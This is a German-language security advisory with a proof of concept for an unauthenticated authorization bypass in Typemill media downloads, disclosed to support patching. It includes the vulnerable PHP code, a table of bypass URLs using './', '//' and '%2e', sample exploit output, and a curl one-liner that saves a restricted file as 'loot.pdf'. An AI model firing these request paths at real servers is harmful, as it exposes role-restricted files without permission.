
Advisory und PoC für einen nicht authentifizierten Autorisierungs-Bypass bei Typemill-Medien-Downloads, der pfadäquivalente URL-Varianten nutzt, um auf rollenrestringierte Dateien zuzugreifen.
Die Einschränkung basiert auf dem rohen Anfragepfad; die Datei wird über den vom Betriebssystem aufgelösten Pfad gelesen — die beiden weichen voneinander ab
Auf einen Blick · Zusammenfassung · Grundursache · Angriffskette · Exploit · Behebung · Zeitleiste
| CVE-ID | CVE-2026-71518 |
| Produkt | typemill/typemill — Typemill (Flat-File-PHP-CMS, Slim 4) |
| Betroffen | alle Versionen < 2.26.0 (verifiziert auf 2.25.0, Commit 8f3901c) |
| Behoben in | 2.26.0 |
| Schwachstelle | CWE-863 (Incorrect Authorization) · CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS v3.1 | 7.5 — Hoch · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — Hoch |
| Vektor | Netzwerk · keine Authentifizierung · keine Benutzerinteraktion |
| Auswirkungen | Nicht authentifizierter Download von Mediendateien, die ein Administrator auf eine privilegierte Rolle beschränkt hat |
| Forscher | Ilhomjon Rustamov (@IlhomjonR) |
Typemill ermöglicht es einem Administrator, einzelne Mediendateien über
media/files/filerestrictions.yaml auf eine bestimmte Benutzerrolle zu beschränken. Die öffentliche Download-Route
soll diese Einschränkung eigentlich berücksichtigen — aber sie prüft die Einschränkung gegen den
rohen Anfragepfad, während sie die Bytes aus dem vom Dateisystem aufgelösten
Pfad ausliefert. Da dieselbe Datei viele pfadäquivalente Schreibweisen hat
(./name, //name, %2e/name), wählt ein Angreifer eine Variante, die nicht
mit dem Einschränkungsschlüssel übereinstimmt und dennoch auf dieselbe Datei auf der Platte aufgelöst wird.
Die Route trägt keine Authentifizierungs-Middleware, sodass das Ergebnis ein vollständig nicht authentifizierter Download von Dateien ist, die ausdrücklich an eine Rolle gebunden waren.
Die Download-Route ist öffentlich — es gibt keine Auth-Middleware darauf:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
Innerhalb von system/typemill/Controllers/ControllerWebDownload.php verwenden die Zugriffskontroll-
Entscheidung und das Lesen der Datei zwei verschiedene Darstellungen desselben Pfads:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() lehnt nur eine wörtliche ..-Sequenz ab — es normalisiert weder ./ noch // und lehnt auch prozentkodierte Entsprechungen nicht ab. Daher
weichen der Einschränkungsschlüssel und die Datei, die tatsächlich gelesen wird,
voneinander ab:
| Request path | Restriction key matched? | File resolved on disk | Outcome |
|---|---|---|---|
/media/files/secret.pdf | ✅ ja | secret.pdf | 🔒 blockiert (302 → Login) |
/media/files/./secret.pdf | ❌ nein | secret.pdf | 🟢 ausgeliefert (200) |
/media/files//secret.pdf | ❌ nein | secret.pdf | 🟢 ausgeliefert (200) |
/media/files/%2e/secret.pdf | ❌ nein | secret.pdf | 🟢 ausgeliefert (200) |
Der Fehler ist das klassische Muster „Autorisierungsentscheidung und Ressourcenzugriff basieren auf
unterschiedlichen, angreiferkontrollierbaren Zeichenketten“ (CWE-639/CWE-863).
$_SERVER['REQUEST_URI'] bleibt auch unter Apache roh, daher ist dies nicht
server-spezifisch.
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]
filerestrictions.yaml auf eine Rolle.exploit/exploit.py reproduziert das Problem Ende-zu-Ende gegen
einen lokalen Testcontainer. Es (1) lässt den „Admin“ eine private Datei ablegen, die auf
die Rolle editor beschränkt ist, (2) bestätigt, dass die kanonische URL für einen anonymen
Benutzer blockiert ist, und (3) lädt dieselbe Datei über jede pfadäquivalente Variante herunter.
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
Erwartete Ausgabe:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
Einzeiler gegen jeden verwundbaren Host (nur für autorisierte Tests):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() auflösen und die Eindämmung innerhalb des
Medien-Basisverzeichnisses bestätigen sowie prozentkodierte Pfadtrennzeichen ablehnen.